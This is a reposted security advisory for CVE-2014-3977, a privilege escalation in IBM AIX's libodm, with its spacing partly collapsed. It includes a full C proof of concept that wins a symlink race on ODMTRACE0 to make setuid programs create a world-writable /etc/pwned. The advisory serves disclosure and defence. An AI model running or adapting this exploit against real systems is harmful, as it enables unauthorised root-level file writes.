Bài liên quan
Vulnerability title: Privilege Escalation in IBM AIXCVE: CVE-2014-3977Vendor: IBMProduct: AIXAffected version: 6.1.8 and laterFixed version: N/AReported by: Tim BrownDetails:It has been identified that libodm allows privilege escalation viaarbitrary file writes with elevated privileges (utilising SetGID andSetUID programs). The following will cause a new file /etc/pwned to becreated with permissions of rw-rw-rw:#include <stdlib.h> #include <unistd.h> #include <stdio.h> intpwnedflag; int main(int argc, char **argv) { pwnedflag = 0; umask(0); if(fork()) { setenv("ODMERR", "1", 1); while (!pwnedflag) { if(!access("/etc/pwned", F_OK)) { pwnedflag = 1; printf("Racewon...\r\n"); unsetenv("ODMERR"); exit(EXIT_SUCCESS); }system("/usr/bin/at"); } } else { while (!pwnedflag) {symlink("/etc/pwned", "ODMTRACE0"); if (!access("/etc/pwned", F_OK)) {pwnedflag = 1; printf("Race won...\r\n"); exit(EXIT_SUCCESS); }unlink("ODMTRACE0"); } } }It is believed this is a side affect of CVE-2012-2179 being incorrectlyresolved. As understood, prior to CVE-2012-2179 being fixed, libodmwould simply open ODMTRACE0 and write to it assuming ODMERR=1. It isbelieved that the fix that was applied was to check for the presence ofODMTRACE0 and increment until no file was found. It is necessary to wina time of check, time of use race condition by creating a symlink fromthe ODMTRACE0 in the current working directory to the target file underhoping that the link will be added after the check has been made thatODMTRACE0 does not exist. Further details at:https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-3977/Copyright:Copyright (c) Portcullis Computer Security Limited 2014, All rightsreserved worldwide. Permission is hereby granted for the electronicredistribution of this information. It is not to be edited or altered inany way without the express written consent of Portcullis ComputerSecurity Limited.Disclaimer:The information herein contained may change without notice. Use of thisinformation constitutes acceptance for use in an AS IS condition. Thereare NO warranties, implied or otherwise, with regard to this informationor its use. Any use of this information is at the user's risk. In noevent shall the author/distributor (Portcullis Computer SecurityLimited) be held liable for any damages whatsoever arising out of or inconnection with the use or spread of this information.
Post a Comment